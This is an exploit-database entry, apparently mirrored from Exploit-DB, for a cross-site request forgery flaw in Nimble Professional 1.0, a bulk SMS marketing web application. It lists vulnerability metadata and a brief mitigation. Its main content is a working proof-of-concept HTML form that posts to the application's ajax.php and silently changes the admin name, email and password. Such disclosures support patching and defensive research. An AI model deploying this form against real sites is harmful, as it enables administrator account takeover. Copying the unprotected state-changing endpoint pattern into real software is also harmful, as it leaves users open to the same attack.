header-logo
Suggest Exploit
vendor:
Nimble Professional - Mobile Marketing Text Blast Web Application
by:
Ihsan Sencan
7,5
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: Nimble Professional - Mobile Marketing Text Blast Web Application
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:ranksol:nimble_professional_-_mobile_marketing_text_blast_web_application
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: WiN7_x64/KaLiLinuX_x64
2017

Nimble Professional – Mobile Marketing Text Blast Web Application 1.0 – Cross-Site Request Forgery (Update Admin)

This vulnerability allows an attacker to update the admin profile of Nimble Professional - Mobile Marketing Text Blast Web Application 1.0. An attacker can craft a malicious HTML page containing a form with the necessary parameters and submit it to the vulnerable application. This will allow the attacker to update the admin profile with the provided values.

Mitigation:

The application should validate the origin of the request and ensure that the request is coming from a trusted source.
Source

Exploit-DB raw data:

<!--
# # # # # 
# Exploit Title: Nimble Professional - Mobile Marketing Text Blast Web Application 1.0 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://ranksol.com/
# Software Link: http://www.mojomarketplace.com/item/nimble-pro
# Demo: http://demo.ranksol.com/demos/nimble-messaging-bulk-sms-marketing-application-for-business-pro-version/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
-->
<html>
<body>
<label>Edit Profile:</label>
<form method="post" class="form-horizontal" action="http://localhost/[PATH]/ajax.php">
<label>Admin Name:</label>
<input type="text" name="name" style="width: 400px;" value="Admin">
<label>Admin Email:</label>
<input type="text" name="email" style="width: 400px;" value="a@a.com">
<label>Admin Password:</label>
<input type="text" name="pass" style="width: 400px;" value="efe">
<button type="submit" class="btn  btn-success" >Save Profile</button>
<input type="hidden" name="cmd" value="save_profile">
</form>
</body>
</html>